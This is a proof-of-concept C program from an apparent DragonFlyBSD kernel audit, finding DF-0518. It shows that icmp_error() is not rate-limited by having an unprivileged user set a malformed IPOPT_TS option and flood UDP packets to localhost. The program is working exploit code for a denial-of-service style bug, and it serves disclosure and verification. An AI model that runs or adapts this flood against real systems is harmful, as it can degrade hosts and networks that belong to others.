โฌข DragonFlyBSD Kernel Audit
DF-0518 / df0518.c
โ† back to finding โ†“ download raw
/*
 * DF-0518 โ€” Demonstrate that icmp_error() emission is NOT rate-limited.
 *
 * Bug: badport_bandlim()/icmplim rate-limit is applied in icmp_input()
 * for ICMP_ECHO (ip_icmp.c:787) and ICMP_TSTAMP (ip_icmp.c:807) replies,
 * and at the UDP-no-listener caller in udp_usrreq.c:609 โ€” but NOT inside
 * icmp_error() itself nor at the four direct callers in ip_input.c
 * (lines 1780 [bad IP options], 2030 [TTL exceeded], 2037 [host
 * unreachable], 2184 [PMTUD]).
 *
 * This PoC exercises the un-rate-limited path at ip_input.c:1780 from an
 * UNPRIVILEGED user: open a UDP socket, install a malformed IPOPT_TS
 * option via setsockopt(IP_OPTIONS) (no privilege required), and flood
 * packets to 127.0.0.1.  Each packet loops back through ip_input() where
 * ip_dooptions() rejects the bad option and fires icmp_error() with no
 * preceding badport_bandlim() check.
 *
 * Proof of the bug: with icmplim=200, an UNRATE-LIMITED path produces
 * thousands of "calls to icmp_error" per second (the icmplim cap never
 * applies); on a FIXED kernel the counter plateaus at 200/sec.
 *
 * Build:  cc -O2 -o df0518 df0518.c
 * Run:    ./df0518 [count]      # default 10000
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>

int main(int argc, char **argv)
{
    long count = argc > 1 ? strtol(argv[1], NULL, 0) : 10000;
    int s, rc, i;
    struct sockaddr_in dst;
    unsigned char pkt[32];
    /* Malformed IPOPT_TS: type=0x68 (TS|COPY), len=8, ptr=5 (past end),
     * overflow flag set so ip_dooptions() takes `goto bad` -> icmp_error().
     */
    unsigned char opt[8] = { 0x68, 8, 5, 1, 0, 0, 0, 0 };
    struct timespec ts1, ts2;

    memset(&dst, 0, sizeof(dst));
    dst.sin_family = AF_INET;
    dst.sin_port = htons(9999);  /* no listener */
    inet_pton(AF_INET, "127.0.0.1", &dst.sin_addr);

    s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 2; }

    rc = setsockopt(s, IPPROTO_IP, IP_OPTIONS, opt, sizeof(opt));
    if (rc < 0) {
        perror("setsockopt IP_OPTIONS");
        fprintf(stderr, "Note: if this fails, your kernel rejects the "
                "malformed option at socket-option time.  On DragonFly "
                "6.5-DEV the option is accepted and the bad-options path "
                "in ip_dooptions() fires icmp_error().\n");
        return 2;
    }
    fprintf(stderr, "DF-0518: malformed IPOPT_TS installed; sending %ld "
            "UDP pkts to 127.0.0.1\n", count);

    memset(pkt, 'X', sizeof(pkt));
    clock_gettime(CLOCK_MONOTONIC, &ts1);
    for (i = 0; i < count; i++) {
        rc = sendto(s, pkt, sizeof(pkt), 0,
                    (struct sockaddr *)&dst, sizeof(dst));
        if (rc < 0 && errno != ENETUNREACH && errno != EHOSTUNREACH) {
            /* Connection-refused means the ICMP error came back; keep going */
        }
    }
    clock_gettime(CLOCK_MONOTONIC, &ts2);
    close(s);

    {
        double elapsed = (ts2.tv_sec - ts1.tv_sec)
                       + (ts2.tv_nsec - ts1.tv_nsec) / 1e9;
        fprintf(stderr, "DF-0518: %ld sendto() in %.4fs (%.0f/s)\n",
                count, elapsed, count / (elapsed > 0 ? elapsed : 1e-9));
        fprintf(stderr, "DF-0518: check `netstat -s | grep icmp` โ€” "
                "'calls to icmp_error' should have climbed to ~%ld.\n",
                count);
        fprintf(stderr, "DF-0518: if the icmplim=%d cap applied it would "
                "have plateaued at ~%d/sec.  It does NOT plateau on the "
                "buggy kernel because icmp_error() has no rate-limit.\n",
                200, 200);
    }
    return 0;
}